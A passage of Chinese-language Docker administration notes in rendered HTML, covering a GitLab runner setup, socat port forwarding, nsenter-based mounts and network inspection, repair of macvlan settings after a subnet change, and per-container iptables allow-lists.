class=\"n\">restart</span><span class=\"w\"> </span><span class=\"n\">always</span><span class=\"w\"> </span>\\\n<span class=\"w\">  </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dockerfiles</span><span class=\"o\">/</span><span class=\"n\">gitlabrunner</span><span class=\"p\">:</span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">gitlab</span><span class=\"o\">-</span><span class=\"n\">runner</span><span class=\"w\"> </span>\\\n<span class=\"w\">  </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">run</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">.</span><span class=\"n\">sock</span><span class=\"p\">:</span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">run</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">.</span><span class=\"n\">sock</span><span class=\"w\"> </span>\\\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">dns</span><span class=\"w\"> </span><span class=\"mf\">10.0</span><span class=\"o\">.</span><span class=\"mf\">0.1</span><span class=\"w\"> </span>\\\n<span class=\"w\">  </span><span class=\"n\">gitlab</span><span class=\"o\">/</span><span class=\"n\">gitlab</span><span class=\"o\">-</span><span class=\"n\">runner</span><span class=\"p\">:</span><span class=\"n\">latest</span>\n</code></pre></div>\n\n<h3 id=\"repo\">第六步 创建一个新的repo来测试一下吧<a class=\"headerlink\" href=\"#repo\" title=\"Permanent link\">&para;</a></h3>\n<p>新建<code>.gitlab-ci.yml</code>文件，这里使用自己编译的myubuntu镜像</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">image</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"n\">myubuntu</span><span class=\"o\">:</span><span class=\"n\">latest</span>\n<span class=\"n\">test</span><span class=\"o\">:</span><span class=\"n\">app</span><span class=\"o\">:</span>\n<span class=\"w\">  </span><span class=\"n\">script</span><span class=\"o\">:</span>\n<span class=\"w\">  </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"n\">ok</span>\n<span class=\"w\">  </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"n\">ip</span><span class=\"o\">.</span><span class=\"na\">cn</span>\n</code></pre></div>\n\n<p>然后在gitlab的仓库页面 最新的一次commit message右侧就有CI成功与否状态的图标 点进去看详细日志咯</p>\n<hr />\n<h2 id=\"socat\">为已经存在的容器创建临时端口映射 socat<a class=\"headerlink\" href=\"#socat\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 端口转发</p>\n<p>出于学习目的，想快速地建立一下临时的Docker容器端口映射</p>\n<p>用socat咯：</p>\n<div class=\"codehilite\"><pre><span></span><code>socat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300\n</code></pre></div>\n\n<p>如果没有socat，可以：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300\n</code></pre></div>\n\n<hr />\n<h2 id=\"_13\">查看所有容器内存占用 并排序<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<p><code>docker stats</code>就能看到实时更新的结果，但并没有提供排序功能</p>\n<div class=\"codehilite\"><pre><span></span><code>docker stats --no-stream|sort -h -r -k 4,4\n</code></pre></div>\n\n<p>排序列对应关系如下：</p>\n<table>\n<thead>\n<tr>\n<th>列号</th>\n<th>列名</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>3</td>\n<td>CPU</td>\n</tr>\n<tr>\n<td>4</td>\n<td>内存</td>\n</tr>\n<tr>\n<td>8</td>\n<td>网络流入</td>\n</tr>\n<tr>\n<td>10</td>\n<td>网络流出</td>\n</tr>\n<tr>\n<td>11</td>\n<td>文件写入</td>\n</tr>\n<tr>\n<td>13</td>\n<td>文件读取</td>\n</tr>\n<tr>\n<td>14</td>\n<td>容器内线程数量(PID数)</td>\n</tr>\n</tbody>\n</table>\n<hr />\n<h2 id=\"_14\">运行中的容器添加目录挂载<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h2>\n<p>Docker自身只允许在创建容器的时候指定-v进行目录挂载，怎么在不停止容器的情况下增加挂载呢？</p>\n<div class=\"admonition warning\">\n<p>注意此方法在容器重启后即失效，需要重新挂载</p>\n</div>\n<p>参考：https://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5</p>\n<p>方法是把块设备挂载到容器中，然后可以使用bind mount</p>\n<p>假设容器名称为app_container，需要挂载/dev/sdb1这个设备，命令如下：</p>\n<p>Step1: 首先要查看设备id以便在容器中mknod创建设备，然后使用nsenter使用主机的权限挂载设备</p>\n<p>Step2: 现在就可以在容器中使用/tmpmount读取到设备了，但如果我们只需要挂载其中一个文件夹 例如设备的data文件夹挂载到容器的/newdata，还可以继续执行：</p>\n<p>Step3: 最后清理掉临时挂载的/tmpmount 不会影响bind mount挂载出来的/newdata</p>\n<div class=\"codehilite\"><pre><span></span><code>CONTAINER_NAME=&quot;app_container&quot;\nDEVICE_NAME=&quot;/dev/sdb1&quot;\nMOUNT_SRC=&quot;data&quot;\nMOUNT_TARGET=&quot;/newdata&quot;\n\n#<span class=\"w\"> </span>Step1\nx=$(grep<span class=\"w\"> </span><span class=\"nv\">$DEVICE_NAME</span><span class=\"w\"> </span>/proc/self/mountinfo|cut<span class=\"w\"> </span>-d<span class=\"w\"> </span>&#39;<span class=\"w\"> </span>&#39;<span class=\"w\"> </span>-f<span class=\"w\"> </span>3)\ndocker<span class=\"w\"> </span>exec<span class=\"w\"> </span>-it<span class=\"w\"> </span>-u<span class=\"w\"> </span>root<span class=\"w\"> </span><span class=\"nv\">$CONTAINER_NAME</span><span class=\"w\"> </span>sh<span class=\"w\"> </span>-c<span class=\"w\"> </span>&quot;[<span class=\"w\"> </span>-b<span class=\"w\"> </span><span class=\"nv\">$DEVICE_NAME</span><span class=\"w\"> </span>]<span class=\"w\"> </span>||<span class=\"w\"> </span>mknod<span class=\"w\"> </span>-m<span class=\"w\"> </span>0600<span class=\"w\"> </span><span class=\"nv\">$DEVICE_NAME</span><span class=\"w\"> </span>b<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">x</span><span class=\"o\">/</span><span class=\"p\">:</span><span class=\"o\">/</span> <span class=\"cp\">}</span>&quot;\nsudo<span class=\"w\"> </span>nsenter<span class=\"w\"> </span>--target<span class=\"w\"> </span>&quot;$(docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"w\"> </span>&#39;{{.State.Pid}}&#39;<span class=\"w\"> </span><span class=\"nv\">$CONTAINER_NAME</span>)&quot;<span class=\"w\"> </span>--mount<span class=\"w\"> </span>--uts<span class=\"w\"> </span>--ipc<span class=\"w\"> </span>--net<span class=\"w\"> </span>--pid<span class=\"w\"> </span>--<span class=\"w\">  </span>sh<span class=\"w\"> </span>-c<span class=\"w\"> </span>&quot;mkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span>/tmpmount;mount<span class=\"w\"> </span><span class=\"nv\">$DEVICE_NAME</span><span class=\"w\"> </span>/tmpmount&quot;\n\n#<span class=\"w\"> </span>Step2\nsudo<span class=\"w\"> </span>nsenter<span class=\"w\"> </span>--target<span class=\"w\"> </span>&quot;$(docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"w\"> </span>&#39;{{.State.Pid}}&#39;<span class=\"w\"> </span><span class=\"nv\">$CONTAINER_NAME</span>)&quot;<span class=\"w\"> </span>--mount<span class=\"w\"> </span>--uts<span class=\"w\"> </span>--ipc<span class=\"w\"> </span>--net<span class=\"w\"> </span>--pid<span class=\"w\"> </span>--<span class=\"w\"> </span>sh<span class=\"w\"> </span>-c<span class=\"w\"> </span>&quot;mkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span><span class=\"nv\">$MOUNT_TARGET</span>;<span class=\"w\"> </span>mount<span class=\"w\"> </span>-o<span class=\"w\"> </span>bind<span class=\"w\"> </span>/tmpmount/<span class=\"nv\">$MOUNT_SRC</span><span class=\"w\"> </span><span class=\"nv\">$MOUNT_TARGET</span>&quot;\n\n#<span class=\"w\"> </span>Step3\nsudo<span class=\"w\"> </span>nsenter<span class=\"w\"> </span>--target<span class=\"w\"> </span>&quot;$(docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"w\"> </span>&#39;{{.State.Pid}}&#39;<span class=\"w\"> </span><span class=\"nv\">$CONTAINER_NAME</span>)&quot;<span class=\"w\"> </span>--mount<span class=\"w\"> </span>--uts<span class=\"w\"> </span>--ipc<span class=\"w\"> </span>--net<span class=\"w\"> </span>--pid<span class=\"w\"> </span>--<span class=\"w\"> </span>sh<span class=\"w\"> </span>-c<span class=\"w\"> </span>&quot;umount<span class=\"w\"> </span>/tmpmount&quot;\n</code></pre></div>\n\n<hr />\n<h2 id=\"docker32\">Docker使用32位镜像<a class=\"headerlink\" href=\"#docker32\" title=\"Permanent link\">&para;</a></h2>\n<p>例如ubuntu16.04.5 32位镜像 从这里下载i386后缀的<code>ubuntu-base-16.04.5-base-i386.tar.gz</code>：</p>\n<p>http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/</p>\n<p>下载了之后直接交给docker导入即可：<a href=\"https://docs.docker.com/engine/reference/commandline/import/#examples\">docker import 文档</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">cat</span> <span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"n\">base</span><span class=\"o\">-</span><span class=\"mf\">16.04.5</span><span class=\"o\">-</span><span class=\"n\">base</span><span class=\"o\">-</span><span class=\"n\">i386</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span><span class=\"o\">|</span><span class=\"n\">docker</span> <span class=\"kn\">import</span> <span class=\"o\">-</span> <span class=\"n\">ubuntu1604_32bit</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"varlibdocker\">找到/var/lib/docker中容器的数据存储目录<a class=\"headerlink\" href=\"#varlibdocker\" title=\"Permanent link\">&para;</a></h2>\n<p>使用<a href=\"https://github.com/vincepare/docker-backup\">docker-backup</a>:</p>\n<div class=\"codehilite\"><pre><span></span><code>curl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh &amp;&amp; chmod +x /usr/local/bin/docker-backup\n\ndocker-backup ls -w container\n</code></pre></div>\n\n<p>举个例子 Apache容器由于/tmp/httpd_lua_shm.1的存在跑不起来，试试直接删除容器内的这个文件</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span>`<span class=\"nv\">d</span><span class=\"w\"> </span><span class=\"nv\">ps</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">a</span><span class=\"o\">|</span><span class=\"nv\">grep</span><span class=\"w\"> </span><span class=\"k\">Exit</span><span class=\"o\">|</span><span class=\"nv\">grep</span><span class=\"w\"> </span><span class=\"nv\">minutes</span><span class=\"o\">|</span><span class=\"nv\">awk</span><span class=\"w\"> </span><span class=\"s1\">&#39;{print $1}&#39;</span>`<span class=\"c1\">; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"dockermacvlan\">搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络<a class=\"headerlink\" href=\"#dockermacvlan\" title=\"Permanent link\">&para;</a></h2>\n<p>需求：服务器机房搬迁，从10.214.10.x变为10.214.160.x，配置的macvlan容器就不能访问了</p>\n<p>Docker没有提供修改网络配置的方法，我们就直接改Docker的数据库和配置文件呗</p>\n<p>不这样直接改底层文件也是可以的，需要先disconnect旧的macvlan所有容器，然后删掉重建这个network，再一个个加回来</p>\n<p>网络配置的数据库在<code>/var/lib/docker/network/files/local-kv.db</code>，本质上是boltdb，需要使用docker的<a href=\"https://github.com/docker/libkv\">libkv</a>来进行访问</p>\n<p>注意到ip前缀的长度发生了变化，直接sed是不行的，会损坏数据库（如果长度没变可以直接sed），操作前记得备份</p>\n<p>参考 https://blog.qiqitori.com/?p=463</p>\n<p>加以修改，需要在<code>docker pull golang:1.8</code>中编译运行</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">package</span> <span class=\"n\">main</span>\n\n<span class=\"kn\">import</span> <span class=\"p\">(</span>\n    <span class=\"s2\">&quot;time&quot;</span>\n    <span class=\"s2\">&quot;log&quot;</span>\n    <span class=\"s2\">&quot;strings&quot;</span>\n    <span class=\"s2\">&quot;github.com/docker/libkv&quot;</span>\n    <span class=\"s2\">&quot;github.com/docker/libkv/store&quot;</span>\n    <span class=\"s2\">&quot;github.com/docker/libkv/store/boltdb&quot;</span>\n<span class=\"p\">)</span>\n\n<span class=\"n\">func</span> <span class=\"n\">init</span><span class=\"p\">()</span> <span class=\"p\">{</span>\n    <span class=\"o\">//</span> <span class=\"n\">Register</span> <span class=\"n\">boltdb</span> <span class=\"n\">store</span> <span class=\"n\">to</span> <span class=\"n\">libkv</span>\n    <span class=\"n\">boltdb</span><span class=\"o\">.</span><span class=\"n\">Register</span><span class=\"p\">()</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">func</span> <span class=\"n\">main</span><span class=\"p\">()</span> <span class=\"p\">{</span>\n    <span class=\"n\">client</span> <span class=\"o\">:=</span> <span class=\"s2\">&quot;./local-kv.db&quot;</span> <span class=\"o\">//</span> <span class=\"o\">./</span> <span class=\"n\">appears</span> <span class=\"n\">to</span> <span class=\"n\">be</span> <span class=\"n\">necessary</span>\n\n    <span class=\"o\">//</span> <span class=\"n\">Initialize</span> <span class=\"n\">a</span> <span class=\"n\">new</span> <span class=\"n\">store</span>\n    <span class=\"n\">kv</span><span class=\"p\">,</span> <span class=\"n\">err</span> <span class=\"o\">:=</span> <span class=\"n\">libkv</span><span class=\"o\">.</span><span class=\"n\">NewStore</span><span class=\"p\">(</span>\n        <span class=\"n\">store</span><span class=\"o\">.</span><span class=\"n\">BOLTDB</span><span class=\"p\">,</span> <span class=\"o\">//</span> <span class=\"ow\">or</span> <span class=\"s2\">&quot;boltdb&quot;</span>\n        <span class=\"p\">[]</span><span class=\"n\">string</span><span class=\"p\">{</span><span class=\"n\">client</span><span class=\"p\">},</span>\n        <span class=\"o\">&amp;</span><span class=\"n\">store</span><span class=\"o\">.</span><span class=\"n\">Config</span><span class=\"p\">{</span>\n            <span class=\"n\">Bucket</span><span class=\"p\">:</span> <span class=\"s2\">&quot;libnetwork&quot;</span><span class=\"p\">,</span>\n            <span class=\"n\">ConnectionTimeout</span><span class=\"p\">:</span> <span class=\"mi\">10</span><span class=\"o\">*</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">Second</span><span class=\"p\">,</span>\n        <span class=\"p\">},</span>\n    <span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"n\">err</span> <span class=\"o\">!=</span> <span class=\"n\">nil</span> <span class=\"p\">{</span>\n        <span class=\"n\">log</span><span class=\"o\">.</span><span class=\"n\">Fatalf</span><span class=\"p\">(</span><span class=\"s2\">&quot;Cannot create store: %v&quot;</span><span class=\"p\">,</span> <span class=\"n\">err</span><span class=\"p\">)</span>\n    <span class=\"p\">}</span>\n\n    <span class=\"n\">pair</span><span class=\"p\">,</span> <span class=\"n\">err</span> <span class=\"o\">:=</span> <span class=\"n\">kv</span><span class=\"o\">.</span><span class=\"n\">List</span><span class=\"p\">(</span><span class=\"s2\">&quot;docker/network&quot;</span><span class=\"p\">)</span>\n    <span class=\"k\">for</span> <span class=\"n\">_</span><span class=\"p\">,</span> <span class=\"n\">p</span> <span class=\"o\">:=</span> <span class=\"nb\">range</span> <span class=\"n\">pair</span> <span class=\"p\">{</span>\n        <span class=\"n\">println</span><span class=\"p\">(</span><span class=\"s2\">&quot;key:&quot;</span><span class=\"p\">,</span> <span class=\"n\">string</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">.</span><span class=\"n\">Key</span><span class=\"p\">))</span>\n        <span class=\"n\">val</span> <span class=\"o\">:=</span> <span class=\"n\">strings</span><span class=\"o\">.</span><span class=\"n\">Replace</span><span class=\"p\">(</span><span class=\"n\">string</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">.</span><span class=\"n\">Value</span><span class=\"p\">),</span> <span class=\"s2\">&quot;10.214.10.&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;10.214.160.&quot;</span><span class=\"p\">,</span> <span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n        <span class=\"n\">println</span><span class=\"p\">(</span><span class=\"s2\">&quot;value:&quot;</span><span class=\"p\">,</span> <span class=\"n\">val</span><span class=\"p\">)</span>\n        <span class=\"n\">err</span> <span class=\"o\">=</span> <span class=\"n\">kv</span><span class=\"o\">.</span><span class=\"n\">Put</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">.</span><span class=\"n\">Key</span><span class=\"p\">,</span> <span class=\"p\">[]</span><span class=\"n\">byte</span><span class=\"p\">(</span><span class=\"n\">val</span><span class=\"p\">),</span> <span class=\"n\">nil</span><span class=\"p\">)</span>\n    <span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>其中需要注意golang1.8的strings没有ReplaceAll方法；string转bytes数组用<code>[]byte(...)</code>即可；<code>println</code>不是fmt库的，是往stderr输出的</p>\n<p>除了网络数据库还需要修改容器的.json配置文件：<code>/var/lib/docker/containers/*/*.json</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/10.214.10./10.214.160./g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">/</span><span class=\"n\">containers</span><span class=\"o\">/*/*.</span><span class=\"n\">json</span>\n</code></pre></div>\n\n<p>然后就能启动docker了，如果有容器的当前ip已经被其他设备占用，可以通过脱离网络再加入来修改ip</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"k\">disconnect</span><span class=\"w\"> </span><span class=\"nv\">macvlan_name</span><span class=\"w\"> </span><span class=\"nv\">container_name</span>\n<span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"k\">connect</span><span class=\"w\"> </span><span class=\"nv\">macvlan_name</span><span class=\"w\"> </span><span class=\"nv\">container_name</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">ip</span><span class=\"w\"> </span>新的<span class=\"nv\">ip</span>\n</code></pre></div>\n\n<p>如果新的ip还是ping不了，试试重启容器</p>\n<h2 id=\"2\">获取2个月前退出的容器列表，以空格分隔<a class=\"headerlink\" href=\"#2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\">docker ps -a --format &#39;</span><span class=\"cp\">{{</span><span class=\"nv\">.Names</span><span class=\"cp\">}}</span><span class=\"x\"> </span><span class=\"cp\">{{</span><span class=\"nv\">.Status</span><span class=\"cp\">}}</span><span class=\"x\">&#39;|grep &quot;2 month&quot;|awk &#39;{print $1}&#39;|tr &#39;\\r\\n&#39; &#39; &#39;</span>\n</code></pre></div>\n\n<h2 id=\"ping-ipnsenter\">容器内没有ping, ip？直接nsenter进去看看<a class=\"headerlink\" href=\"#ping-ipnsenter\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\">netin(){</span>\n<span class=\"x\">    nsenter --target `docker inspect --format &#39;</span><span class=\"cp\">{{</span><span class=\"nv\">.State.Pid</span><span class=\"cp\">}}</span><span class=\"x\">&#39; $1`  --net --pid /bin/bash</span>\n<span class=\"x\">}</span>\n</code></pre></div>\n\n<p>这是进入docker容器的namespace，但只切换网络和/proc，文件系统等还是使用主机的</p>\n<p>进入后bash似乎没变，这时可以ps看看进程列表变了就说明在容器里面了，然后可以愉快地ifconfig和ping了</p>\n<p>也可以使用ip命令指定netns的方式<code>ip netns exec 名称 命令</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nv\">NAME</span><span class=\"o\">=</span><span class=\"s2\">&quot;container name&quot;</span>\nmkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span>/var/run/netns\n<span class=\"nv\">ID</span><span class=\"o\">=</span><span class=\"sb\">`</span>docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"o\">=</span><span class=\"s1\">&#39;{{ .State.Pid }}&#39;</span><span class=\"w\"> </span><span class=\"nv\">$NAME</span><span class=\"sb\">`</span>\nsudo<span class=\"w\"> </span>ln<span class=\"w\"> </span>-sf<span class=\"w\"> </span><span class=\"s2\">&quot;/proc/</span><span class=\"nv\">$ID</span><span class=\"s2\">/ns/net&quot;</span><span class=\"w\"> </span>/var/run/netns/<span class=\"nv\">$NAME</span>\n<span class=\"nb\">exec</span><span class=\"w\"> </span>sudo<span class=\"w\"> </span>ip<span class=\"w\"> </span>netns<span class=\"w\"> </span><span class=\"nb\">exec</span><span class=\"w\"> </span><span class=\"nv\">$NAME</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$@</span><span class=\"s2\">&quot;</span>\n</code></pre></div>\n\n<h2 id=\"macvlanip_2\">为macvlan的容器配置只允许IP段访问<a class=\"headerlink\" href=\"#macvlanip_2\" title=\"Permanent link\">&para;</a></h2>\n<p>将容器暴露在整个内网还是不够安全，不如使用iptables只允许特定IP段访问这个容器的IP</p>\n<p>按上述操作之后，假设容器名称为name，那么我们可以先建立一个alias来快速iptables:</p>\n<p>参考： https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">alias</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"o\">=</span><span class=\"s2\">&quot;sudo ip netns exec name iptables&quot;</span>\n<span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">P</span><span class=\"w\"> </span><span class=\"nv\">FORWARD</span><span class=\"w\"> </span><span class=\"nv\">DROP</span><span class=\"w\"> </span>#<span class=\"w\"> </span><span class=\"nv\">we</span><span class=\"w\"> </span><span class=\"nv\">aren</span><span class=\"err\">&#39;t a router</span>\n<span class=\"err\">i -A INPUT -m state --state INVALID -j DROP</span>\n<span class=\"err\">i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT</span>\n<span class=\"err\">i -A INPUT -i lo -j ACCEPT</span>\n<span class=\"err\">i -A INPUT -s 10.0.0.1/24 -j ACCEPT</span>\n<span class=\"err\">i -A INPUT -s 172.19.0.1/24 -j ACCEPT</span>\n<span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">P</span><span class=\"w\"> </span><span class=\"nv\">INPUT</span><span class=\"w\"> </span><span class=\"nv\">DROP</span><span class=\"w\"> </span>#<span class=\"w\"> </span><span class=\"nv\">Drop</span><span class=\"w\"> </span><span class=\"nv\">everything</span><span class=\"w\"> </span><span class=\"nv\">we</span><span class=\"w\"> </span><span class=\"nv\">don</span><span class=\"err\">&#39;t accept</span>\n</code></pre></div>\n\n<p>效果就是只有内网10.0.0.1-10.0.0.254的ip才能访问这个容器的IP，其他来源都不能ping通这个容器</p>\n<p>下面的bash脚本会自动对容器的所有IP段允许访问，并拒绝其他访问：</p>\n<p>其中的docker inspect命令可以获取容器拥有的所有IP</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nb\">set</span><span class=\"w\"> </span>-ex\n<span class=\"nv\">DOCKERNAME</span><span class=\"o\">=</span><span class=\"s2\">&quot;xxx&quot;</span>\n<span class=\"nv\">NAME</span><span class=\"o\">=</span><span class=\"s2\">&quot;xx&quot;</span>\n\n<span class=\"nb\">shopt</span><span class=\"w\"> </span>-s<span class=\"w\"> </span>expand_aliases\nsudo<span class=\"w\"> </span>mkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span>/var/run/netns\n<span class=\"nv\">ID</span><span class=\"o\">=</span><span class=\"sb\">`</span>docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"o\">=</span><span class=\"s1\">&#39;{{ .State.Pid }}&#39;</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">DOCKERNAME</span><span class=\"si\">}</span><span class=\"sb\">`</span>\nsudo<span class=\"w\"> </span>ln<span class=\"w\"> </span>-sf<span class=\"w\"> </span><span class=\"s2\">&quot;/proc/</span><span class=\"nv\">$ID</span><span class=\"s2\">/ns/net&quot;</span><span class=\"w\"> </span>/var/run/netns/<span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>\n<span class=\"nb\">alias</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"o\">=</span><span class=\"s2\">&quot;sudo ip netns exec </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span><span class=\"s2\"> iptables&quot;</span>\ni<span class=\"w\"> </span>-F\ni<span class=\"w\"> </span>-P<span class=\"w\"> </span>FORWARD<span class=\"w\"> </span>DROP<span class=\"w\"> </span><span class=\"c1\"># we aren&#39;t a router</span>\ni<span class=\"w\"> </span>-A<span class=\"w\"> </span>INPUT<span class=\"w\"> </span>-m<span class=\"w\"> </span>state<span class=\"w\"> </span>--state<span class=\"w\"> </span>INVALID<span class=\"w\"> </span>-j<span class=\"w\"> </span>DROP\ni<span class=\"w\"> </span>-A<span class=\"w\"> </span>INPUT<span class=\"w\"> </span>-m<span class=\"w\"> </span>state<span class=\"w\"> </span>--state<span class=\"w\"> </span>RELATED,ESTABLISHED<span class=\"w\"> </span>-j<span class=\"w\"> </span>ACCEPT\ni<span class=\"w\"> </span>-A<span class=\"w\"> </span>INPUT<span class=\"w\"> </span>-i<span class=\"w\"> </span>lo<span class=\"w\"> </span>-j<span class=\"w\"> </span>ACCEPT\n\ndocker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"o\">=</span><span class=\"s1\">&#39;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{&quot;\\n&quot;}}{{end}}&#39;</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">DOCKERNAME</span><span class=\"si\">}</span><span class=\"p\">|</span>xargs<span class=\"w\"> </span>-i<span class=\"w\"> </span>sudo<span class=\"w\"> </span>ip<span class=\"w\"> </span>netns<span class=\"w\"> </span><span class=\"nb\">exec</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span><span class=\"w\"> </span>iptables<span class=\"w\"> </span>-A<span class=\"w\"> </span>INPUT<span class=\"w\"> </span>-s<span class=\"w\"> </span><span class=\"s1\">&#39;{}/24&#39;</span><span class=\"w\"> </span>-j<span class=\"w\"> </span>ACCEPT\ni<span class=\"w\"> </span>-P<span class=\"w\"> </span>INPUT<span class=\"w\"> </span>DROP<span class=\"w\"> </span><span class=\"c1\"># Drop everything we don&#39;t accept</span>\n</code></pre></div>\n\n<h2 id=\"varlibdocker_1\">从/var/lib/docker提取容器开始时间<a class=\"headerlink\" href=\"#varlibdocker_1\" title=\"Permanent link\">&para;</a></h2>\n<p>读取/var/lib/docker/containers/*/config.v2.json可以读到容器开始时间</p>\n<p>但使用同一个文件夹下hostname这个文件的时间戳更可靠，无需考虑时区换算不同服务器时间不同步等问题。计算文件产生的相对时间用os.path.getmtime(这个文件)减去这个时间戳即可。</p>\n<p>导入到mysql 完整代码： 执行的时候需要server name作为参数</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"s s-Atom\">from</span> <span class=\"s s-Atom\">bugid</span> <span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">runsql</span>\n<span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">os</span><span class=\"p\">,</span><span class=\"s s-Atom\">sys</span><span class=\"p\">,</span><span class=\"s s-Atom\">glob</span><span class=\"p\">,</span><span class=\"s s-Atom\">json</span>\n<span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">datetime</span>\n<span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">re</span>\n<span class=\"s s-Atom\">server</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">sys</span><span class=\"p\">.</span><span class=\"s s-Atom\">argv</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">]</span>\n<span class=\"s s-Atom\">os</span><span class=\"p\">.</span><span class=\"nf\">chdir</span><span class=\"p\">(</span><span class=\"s2\">&quot;/var/lib/docker/containers&quot;</span><span class=\"p\">)</span>\n<span class=\"s s-Atom\">sql</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;replace into dockers(server, name, id, starttime, runningtime, memlimit) values &quot;</span>\n<span class=\"s s-Atom\">sqlpending</span> <span class=\"o\">=</span> <span class=\"p\">[]</span>\n<span class=\"s s-Atom\">t</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n<span class=\"s s-Atom\">for</span> <span class=\"s 